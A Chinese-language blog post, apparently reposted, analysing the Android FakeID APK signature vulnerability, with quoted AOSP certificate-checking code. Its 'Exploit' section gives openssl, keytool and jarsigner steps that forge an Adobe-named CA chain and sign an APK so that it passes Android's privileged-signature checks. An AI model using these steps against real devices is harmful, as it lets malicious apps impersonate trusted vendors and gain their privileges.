Android FakeID(Google Bug 13678484) 漏洞详解
开始
继上一次Masterkey漏洞之后,Bluebox在2014年7月30日又公布了一个关于APK签名的漏洞——FakeID,并打算在今年的Blackhack上公布更详细的细节,不过作者Jeff Forristal在文中已经给出了不少提示,另外申迪的《FakeID签名漏洞分析及利用》也做了相关介绍。由于其中涉及的知识点较多,所以有部分朋友估计还没有看明白,所以我打算写一篇更加详细漏洞分析解说。
基础概念
APK包中的MF、SF和RSA文件
- MF文件中包含APK的包信息,如manifest文件的版本、签名版本、应用程序的相关属性以及包中所有源文件的SHA1值。
- SF文件则是在MF文件的基础上,采用SHA1withRSA签名算法进行私钥签名。
- RSA文件则是APK文件的签名证书,这个文件是一个PEM格式保存的PKCS7公钥证书,PKCS7证书一般会分开两个文件,一个是公钥证书,另一个则是私钥证书,有PEM和DER两种编码方式。PEM比较常见,是纯文件的形式,一般用于分发公钥证书;DER是二进制编码,比较少使用。
证书链结构及认证原理
所有者: CN=Adobe Systems Incorporated, OU=Information Systems, O=Adobe Systems Incorporated, L=San Jose, ST=California, C=US 发布者: CN=Adobe Systems Incorporated, OU=Information Systems, O=Adobe Systems Incorporated, L=San Jose, ST=California, C=US 序列号: d7cb412f75f4887e 有效期开始日期: Thu Oct 01 08:23:14 CST 2009, 截止日期: Mon Feb 16 08:23:14 CST 2037
Android对APK的合法性验证
- 开发机上生成一个根证书(记作CA),并用这个证书去颁发一个子证书(记作CLIENT);
- 使用这个子证书对APK签名,这时APK中的RSA文件将包含两个证书,分别是CLIENT和CA,其中系统会使用CLIENT对APK文件进行检验;
- 因为对这个RSA文件篡改,所CA修改为Adobe Flash Player的CA(记作FakeCA)。由于系统只不会对证书链的合法性进行验证,所以这种修改后APK,依然可以正常安装;
<span style="white-space:pre"> </span> <span style="white-space:pre"> </span>PackageManager pm = getPackageManager(); StringBuilder sb = new StringBuilder(); try { PackageInfo info = pm.getPackageInfo(getPackageName(), PackageManager.GET_SIGNATURES); Signature[] sigs = info.signatures; for (Signature sig : sigs) { /* * Get the X.509 certificate. */ final byte[] rawCert = sig.toByteArray(); InputStream certStream = new ByteArrayInputStream(rawCert); final CertificateFactory certFactory; final X509Certificate x509Cert; try { certFactory = CertificateFactory.getInstance("X509"); x509Cert = (X509Certificate) certFactory.generateCertificate(certStream); sb.append("Certificate subject: " + x509Cert.getSubjectDN() + "\n"); sb.append("Certificate issuer: " + x509Cert.getIssuerDN() + "\n"); sb.append("Certificate serial number: " + x509Cert.getSerialNumber() + "\n"); sb.append("\n\n"); } catch (CertificateException e) { // e.printStackTrace(); } } } catch (NameNotFoundException e) { e.printStackTrace(); }
通过上面的方式,可以达到让APK被Adobe Flash Player官方认证的效果,如下是我自己做的一个FakeCA的DEMO,通过上面代码打印如下所示:
Certificate subject: CN=简行, OU=简行之旅, O=简行之旅, L=杭州, ST=浙江, C=CH Certificate issuer: CN=Adobe Systems Incorporated, OU=Information Systems, O=Adobe Systems Incorporated, L=San Jose, ST=California, C=US Certificate serial number: 13732529592366477909 Certificate subject: CN=Adobe Systems Incorporated, OU=Information Systems, O=Adobe Systems Incorporated, L=San Jose, ST=California, C=US Certificate issuer: CN=Adobe Systems Incorporated, OU=Information Systems, O=Adobe Systems Incorporated, L=San Jose, ST=California, C=US Certificate serial number: 15549593810524997758看到这里,相信有些朋友已经秒懂了,那么下面的内容就可以不用看了,如果还是有疑问,那请耐心再往下看吧。
漏洞分析
Android上特权签名
private static boolean containsPluginPermissionAndSignatures(PackageInfo pkgInfo) { // check if the plugin has the required permissions String permissions[] = pkgInfo.requestedPermissions; if (permissions == null) { return false; } boolean permissionOk = false; for (String permit : permissions) { if (PLUGIN_PERMISSION.equals(permit)) { permissionOk = true; break; } } if (!permissionOk) { return false; } // check to ensure the plugin is properly signed Signature signatures[] = pkgInfo.signatures; if (signatures == null) { return false; } if (SystemProperties.getBoolean("ro.secure", false)) { boolean signatureMatch = false; for (Signature signature : signatures) { for (int i = 0; i < SIGNATURES.length; i++) { if (SIGNATURES[i].equals(signature)) { signatureMatch = true; break; } } } if (!signatureMatch) { return false; } } return true; }从这段代码,可以看到WebKit是这样认证一个APK是否为Adobe FlashPlayer插件的:
- APK证书中是否包含Adobe签名的证书,证书数据是写死在代码中的(PluginManager.SIGNATURE_1),这是Adobe使用的签名
- APK申请了android.webkit.permission.PLUGIN权限
- APK声明了一个服务,Intent是android.webkit.PLUGIN,有个meta信息是type,type的值必须是native。
”In another example, the application with the signature specified by the device’s nfc_access.xml file (usually the signature of the Google Wallet application) is allowed to access the NFC SE hardware. Both of these special signature privileges are hard coded into the Android base code (AOSP). On specific devices, applications with the signature of the device manufacture, or trusted third parties, are allowed to access the vendor-specific device administration (MDM) extensions that allow for silent management, configuration, and control of the device.“
多签名认证
漏洞分析
private static X509Certificate findCert(Principal issuer, X509Certificate[] candidates) { for (int i = 0; i < candidates.length; i++) { if (<span style="color:#ff0000;">issuer.equals(candidates[i].getSubjectDN())</span>) { return candidates[i]; } } return null; }
private static X509Certificate findCert(Principal issuer, X509Certificate[] candidates,<span style="color:#ff0000;"> X509Certificate subjectCert</span>, <span style="color:#ff0000;">boolean chainCheck</span>) { for (int i = 0; i < candidates.length; i++) { if (issuer.equals(candidates[i].getSubjectDN())) { if (chainCheck) { try { <span style="color:#ff0000;"> subjectCert.verify(candidates[i].getPublicKey())</span>; } catch (Exception e) { continue; } } return candidates[i]; } } return null; }
Exploit
自签发CA权证书
- openssl genrsa -out ca.key 4096
- openssl req -new -x509 -days 1826 -key ca.key -out ca.crt
You are about to be asked to enter information that will be incorporated into your certificate request. What you are about to enter is what is called a Distinguished Name or a DN. There are quite a few fields but you can leave some blank For some fields there will be a default value, If you enter '.', the field will be left blank. ----- Country Name (2 letter code) [AU]:US State or Province Name (full name) [Some-State]:California Locality Name (eg, city) []:San Jose Organization Name (eg, company) [Internet Widgits Pty Ltd]:Adobe Systems Incorporated Organizational Unit Name (eg, section) []:Information Systems Common Name (e.g. server FQDN or YOUR name) []:Adobe Systems Incorporated Email Address []:
生成Keystore
- keytool -genkey -v -keystore clientkeystore -alias CLIENT -keyalg RSA -keysize 2048 -validity 10000
输入密钥库口令: 再次输入新口令: 您的名字与姓氏是什么? [Unknown]: 简行 您的组织单位名称是什么? [Unknown]: 简行之旅 您的组织名称是什么? [Unknown]: 简行之旅 您所在的城市或区域名称是什么? [Unknown]: 杭州 您所在的省/市/自治区名称是什么? [Unknown]: 浙江 该单位的双字母国家/地区代码是什么? [Unknown]: CH CN=简行, OU=简行之旅, O=简行之旅, L=杭州, ST=浙江, C=CH是否正确? [否]: y 输入 <client> 的密钥口令 (如果和密钥库口令相同, 按回车):
产生CSR证书请求文件
- keytool -keystore clientkeystore -certreq -keysize 2048 -alias CLIENT -keyalg RSA -file client.csr
利用CA签发CLIENT
- openssl x509 -req -CA ca.crt -CAkey ca.key -in client.csr -out client.cer -days 10000 -CAcreateserial
导入CA根证书和CLIENT二级证书
- keytool -import -keystore clientkeystore -file ca.crt -alias CA
- keytool -import -keystore clientkeystore -file client.cer -alias CLIENT
利用CLIENT对APK文件进行签名
- jarsigner -keystore clientkeystore -sigalg SHA1withRSA -digestalg SHA1 test.apk CLIENT
最后利用我编写的脚本完成FakeCA的修改
- ./fake_ca.sh
- adb install out/test.apk
总结
郑重声明:本站内容如果来自互联网及其他传播媒体,其版权均属原媒体及文章作者所有。转载目的在于传递更多信息及用于网络分享,并不代表本站赞同其观点和对其真实性负责,也不构成任何其他建议。